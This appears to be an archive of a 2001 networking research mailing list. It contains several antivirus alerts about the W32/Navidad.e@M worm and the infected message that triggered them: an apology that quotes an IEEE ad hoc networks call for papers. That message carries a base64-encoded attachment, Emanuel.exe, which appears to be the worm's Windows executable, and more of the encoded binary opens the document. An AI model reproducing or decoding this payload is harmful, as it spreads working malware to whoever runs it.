AFNIRUxMMzIuZGxsACfBAAAAAAAANcEAAAAAAABDwQAAAAAAAACMRGVzdHJveUljb24AAFtSZWdD bG9zZUtleQAAeVNoZWxsX05vdGlmeUljb25BAMgMAAD8U1dWi3QkIIt8JCRmgT5KQw+FsQIAAIPG BjPbugAAAIDHRCQUCAAAAEMD0nUMkJCQkIsWg8YE+RPScyiQkJCQi0wkEDPAA9J1DJCQkJCLFoPG BPkT0hPASXXrAkQkDIgHR+vGA9J1DJCQkJCLFoPGBPkT0g+CXwEAAAPSdQyQkJCQixaDxgT5E9IP g88AAAC5BAAAADPAA9J1DJCQkJCLFoPGBPkT0hPASXXrSHSwD4kDAgAAA9J1DJCQkJCLFoPGBPkT 0nNCkJCQkL0AAQAAuQgAAAAzwAPSdQyQkJCQixaDxgT5E9ITwEl164gHR0113gPSdQyQkJCQixaD xgT5E9Jyx+kh////uQEAAAAzwAPSdQyQkJCQixaDxgT5E9ITwEl164PAB4lEJBDGRCQMAIP4CA+E 8P7//7kIAAAAM8AD0nUMkJCQkIsWg8YE+RPSE8BJdeuIRCQM6cv+//+5BwAAADPAA9J1DJCQkJCL FoPGBPkT0hPASXXri+i5AgAAADPAA9J1DJCQkJCLFoPGBPkT0hPASXXri8iLxYPBAoXAdAuQkJCQ i9jpCgEAAIP5Ag+EEAEAAEEzwAPSdQyQkJCQixaDxgT5E9ITwEl164lEJBTpUf7//7kBAAAAA9J1 DJCQkJCLFoPGBPkT0hPJA9J1DJCQkJCLFoPGBPkT0nLcSUl1NJCQkJCLw7kBAAAAA9J1DJCQkJCL FoPGBPkT0hPJA9J1DJCQkJCLFoPGBPkT0nLc6X8AAABJi8GLTCQUi+gzwNPlM8AD0nUMkJCQkIsW g8YE+RPSE8BJdesLxYvYuQEAAAAD0nUMkJCQkIsWg8YE+RPSE8kD0nUMkJCQkIsWg8YE+RPSctw9 AAABAHMkkJCQkD3/NwAAcxqQkJCQPX8CAABzEJCQkJCD+H93CJCQkJBBQUFBi+6L9yvw86SL9eli /f//i8crRCQkjWwkGF5fW8nCCACm9lnyfPeT8gz4WfNo+fnz7vmF9LT6SvWw+3j26PsY97L8x/f9 /Gb4+Py7+FT9nfl4/Vz6QP39+mD90vsN/eL85fym/aD8S/6f/Pb+bPy8/zn88v/a+38Ay/v9AHv7 1ABZ+5MAq/soAFn7mv8Z+/j+MPtE/mH7LP4N+wb+G/vG/fT6Q/2F+qT8iPpw/DT67Pvp+ab72fk+ +5n5tfq0+Wb6Afoj+tr5ffkK+vr4hfrP+LD67/fj+mT3jfsW99n7J/ZE/OT1J/3H9YX9WPVp/k/1 8v4p9W3/6fTv/y/1xAAB9dwBgvUeAiD21AKD9jADD/fEA5D3rwTb+F8FT/oLBtP79QYu/c8HN/5i CGf/rgnZAPEKSQKmC4kDiwz+BO0NkAW2Dk0Gbg8kB2cQEAgeEUQJZBHUCv0RAgxpEk8NoRLfDhAT ShA3E7kRChNtE9cSGxWKEiAWHxO7F2MToBk5E5AakhNtG5YTWxzaE38cVhSjHHQUohyiFHwceBSG HGoU/RtAFE4bBxRoG7oTRBuDE9oa7xJZGuERxhpFEdkaexCvGg8QzBrED5ga4Q7gGmUO5hq6DVQa WA17Gf0MbBiPDIIXkwyBFgAMQxUaC4AU ------=_NextPart_000_0291_01C075A8.32D2DF90-- From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:44:24 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16284 for ; Wed, 3 Jan 2001 05:44:23 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15142 for manet-outgoing; Wed, 3 Jan 2001 04:41:32 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15129 for ; Wed, 3 Jan 2001 04:41:30 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18831; Wed, 3 Jan 2001 04:41:29 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18168; Wed, 3 Jan 2001 04:41:31 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:41:26 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD13@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:41:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:44:39 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16300 for ; Wed, 3 Jan 2001 05:44:38 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA14977 for manet-outgoing; Wed, 3 Jan 2001 04:36:00 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA14971 for ; Wed, 3 Jan 2001 04:35:58 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18662; Wed, 3 Jan 2001 04:35:59 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA15893; Wed, 3 Jan 2001 04:35:59 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:35:49 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD0D@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:35:47 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:47:29 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16442 for ; Wed, 3 Jan 2001 05:47:29 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15641 for manet-outgoing; Wed, 3 Jan 2001 04:54:38 -0500 (EST) Received: from mailhost.somfy.com (mailhost.somfy.com [212.234.241.123]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15631 for ; Wed, 3 Jan 2001 04:54:26 -0500 (EST) Received: from mailmta.cluses.somfy.fr (mailmta.cluses.somfy.fr [172.16.0.5]) by mailhost.somfy.com (Postfix) with SMTP id C08534EC23; Wed, 3 Jan 2001 10:54:16 +0100 (CET) Received: by mailmta.cluses.somfy.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C12569C9.0035ED2D ; Wed, 3 Jan 2001 10:49:01 +0100 X-Lotus-FromDomain: SINET From: "MAILMTA01" To: "Antigen Notification List" Message-ID: Date: Wed, 3 Jan 2001 10:48:57 +0100 Subject: ALERT: Antigen has suspended a message from "Wu Jun" in SCAN.BOX Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Error NWall.Sfadll(508.23.259): Failed to update cured file attachment. The message is currently suspended in SCAN.BOX on CN=MAILMTA01/O=SINET. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:48:51 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16507 for ; Wed, 3 Jan 2001 05:48:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA14969 for manet-outgoing; Wed, 3 Jan 2001 04:35:58 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA14964 for ; Wed, 3 Jan 2001 04:35:56 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18658; Wed, 3 Jan 2001 04:35:56 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA15921; Wed, 3 Jan 2001 04:35:57 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:35:54 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD10@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:35:52 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:50:01 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16536 for ; Wed, 3 Jan 2001 05:50:01 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15277 for manet-outgoing; Wed, 3 Jan 2001 04:46:47 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15272 for ; Wed, 3 Jan 2001 04:46:45 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18998; Wed, 3 Jan 2001 04:46:45 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA19842; Wed, 3 Jan 2001 04:46:47 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:46:46 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD1C@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:46:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:50:08 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16564 for ; Wed, 3 Jan 2001 05:50:08 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA14987 for manet-outgoing; Wed, 3 Jan 2001 04:36:02 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id EAA14979 for ; Wed, 3 Jan 2001 04:36:01 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for s2.itd.nrl.navy.mil [132.250.83.3]) with SMTP; 3 Jan 2001 09:36:03 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Wed, 3 Jan 2001 01:35:58 -0800 From: Antigen@itd.nrl.navy.mil To: pretty@mmlab.snu.ac.kr, tccc@ieee.org, qiao@computer.org, ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Antigen found W32/Navidad.e@M (McAfee4) virus Message-ID: X-OriginalArrivalTime: 03 Jan 2001 09:35:58.0996 (UTC) FILETIME=[94358D40:01C07568] Date: 3 Jan 2001 01:35:58 -0800 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M (McAfee4) virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in SMTP Messages\Inbound located at Unknown/Unknown/MSMAIL. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:50:40 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16598 for ; Wed, 3 Jan 2001 05:50:39 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15854 for manet-outgoing; Wed, 3 Jan 2001 04:57:39 -0500 (EST) Received: from mailhost.somfy.com (mailhost.somfy.com [212.234.241.123]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15840 for ; Wed, 3 Jan 2001 04:57:29 -0500 (EST) Received: from mailmta.cluses.somfy.fr (mailmta.cluses.somfy.fr [172.16.0.5]) by mailhost.somfy.com (Postfix) with SMTP id 8C4B74EC22; Wed, 3 Jan 2001 10:57:14 +0100 (CET) Received: by mailmta.cluses.somfy.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C12569C9.0036384D ; Wed, 3 Jan 2001 10:52:13 +0100 X-Lotus-FromDomain: SINET From: "MAILMTA01" To: "Antigen Notification List" Message-ID: Date: Wed, 3 Jan 2001 10:52:10 +0100 Subject: ALERT: Antigen has suspended a message from "Wu Jun" in SCAN.BOX Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Error NWall.Sfadll(508.23.259): Failed to update cured file attachment. The message is currently suspended in SCAN.BOX on CN=MAILMTA01/O=SINET. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:51:49 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16646 for ; Wed, 3 Jan 2001 05:51:49 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA14561 for manet-outgoing; Wed, 3 Jan 2001 04:11:27 -0500 (EST) Received: from cuees8.ee.cuhk.edu.hk (cuees8.ee.cuhk.edu.hk [137.189.32.50]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA14556 for ; Wed, 3 Jan 2001 04:11:22 -0500 (EST) Received: from pc321m ([137.189.34.238]) by cuees8.ee.cuhk.edu.hk (8.9.1a/8.9.1) with SMTP id RAA00706; Wed, 3 Jan 2001 17:10:26 +0800 (HKT) Date: Wed, 3 Jan 2001 17:10:26 +0800 (HKT) Message-ID: <01bd01c07565$2f4fa7b0$ee22bd89@ee.cuhk.edu.hk> From: "Wu Jun" To: "Kim Dongkyun" Cc: , "Chunming Qiao" , , Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0291_01C075A8.32D2DF90" X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0291_01C075A8.32D2DF90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi, all. Sorry for the previous email from me, I was trying to forward to my students - to tell them that my schedule for next year would be too full for any addiitonal travel - but accidently hit the reply-all buttom (when using the Netscape email). I hope none of you would mis-interpret that mesg - and sincerely apologize to the Symp organizers for any negative effect that mesg may cause. > Kim Dongkyun wrote: > > > Hello ALL, > > * Apologies if you receive multiple copies of this * > > ------------------------------------------------------ > IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 > ------------------------------------------------------ > Symposium Chairman > > Prof. C-K. Toh > Electrical & Computer Engineering, > Georgia Institute of Technology > Fax: 404-894-7468 E-mail: > cktoh@ece.gatech.edu > > IEEE Comsoc Liason > > Gayle Weisman > IEEE Communications Society > > -------------------------------------------------------------- > About IEEE SAWN2001 > -------------------------------------------------------------- > The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2001) is a > new and *high quality* technical meeting (to be held as part of > GLOBECOM 2001) for researchers to present their latest research > work related to the fast evolving field of ad hoc (multihop, > adaptive, and self-organizing) wireless networks and pervasive > communications. Such networks could have strong potential impact > on our daily lives (for example at home and on-the-road) and the > way we work. They are also particularly attractive for military > and emergency operations due to their fast deployable and > self-organizing characteristics. Future ad hoc networks are also > capable of supporting multimedia. High quality papers are invited > from researchers in academia and industries who are involved in > this area of work. > > ----------------------------------------------------------------- > Topics of Interest Include (but not are limited to): > > - Ad Hoc Routing Protocols/Algorithms > - Ad Hoc Transport Issues > - Media Access Techniques/Protocols > - Sensor & Data Fusion Ad Hoc Networks > - Ad hoc network architectures > - Error & Link Control Tecniques > - Access & Session Support > - Ad Hoc Multicasting Protocols/Algorithms > - Service Discovery Algorithms > - Low Power Algorithms and Protocols > - Quality of Service Issues > - Mobile IP with Ad Hoc > - Performance of Bluetooth Networks > - Integration Issues > > ------------------------------------------------------------- > Instructions for Authors > > Technical papers should be submitted to the Globecom Committee > following the general Globecom submission process and instructions > (AUTHOR KIT). In order to ensure that your paper is properly > routed to this Symposium, it is VERY IMPORTANT that you explicitly > identify Symposium on Ad Hoc Wireless Networks as the intended > symposium to which you are submitting the paper. Failure to do > so may result in your paper being forwarded to another symposium. > All submissions are done electronically. Submission deadline is > 31st March 2001. > > Accepted papers will be published in the IEEE GLOBECOM proceedings. > All inquires should be directed to the symposium chairman at > cktoh@ece.gatech.edu > > ---------------------------------------------------------------- > International Technical Program Committee > > Dr. Peiying Zhu, NORTEL Networks > Dr. Bassam Hashem, NORTEL Networks > Dr. Yile Guo, NOKIA USA > Dr. Eric Fleury, INRIA, France > Prof. Andre Schaff, U of Henry Poincare Nancy 1, France > Prof. Jean-Yves-Le-Boudec, EPFL, Switzerland > Prof. Adam Wolisz, TU Berlin, Germany > Prof. H. T. Mouftah, Queens University, Canada > Prof. Victor O. K. Li, University of Hong Kong > Prof. K-C Chen, National Taiwan University, Taiwan > Syed Akbar, TRW, USA > Dr. Kenneth Bayer, MITRE Corporation, USA > Dr. Howard Lemberg, Telcordia Technologies, USA > Prof. Kris Pister, University of California Berkeley > Prof. C-K. Toh, Georgia Tech, USA > Prof. Ahmed Helmy, University of Southern California, > Dongkyun Kim, Seoul National University, Korea > Dr. Nader Moayeri, National Institute of Standard & Technology > Prof. Christian Bonnet, EURECOM, France > > -------------------------------------------------------------- > Web Site: > > http://www.globecom2001.com > http://users.ece.gatech.edu:80/~cktoh/sawn/sawn01.html > -------------------------------------------------------------- -- Chunming QIAO Associate Professor Office: (716)-645-3180 ext. 140 201 Bell Hall Fax: (716)-645-3464 CSE Department, Box 602000 State University of New York at Buffalo, Amherst, NY 14260-2000 World Wide Web: http://www.cse.buffalo.edu/~qiao ------=_NextPart_000_0291_01C075A8.32D2DF90 Content-Type: application/x-msdownload; name="Emanuel.exe" Content-Disposition: attachment; filename="Emanuel.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAABVUEUAAEwBAwAAAP85 UEVDTwAAAADgAA8BCwEGAABAAAAAMAAAAAAAAPp6AAAAEAAAAFAAAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAA0AAAAAQAAHAvAQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AAAAwAAAVwEAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABwZWMxAAAAAABgAAAAEAAAACgAAAAEAAAAAAAAAAAAAAAAAAAgAADgLnJzcmMAAAAA UAAAAHAAAAAQAAAALAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAABAAAADAAAAABgAAADwAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 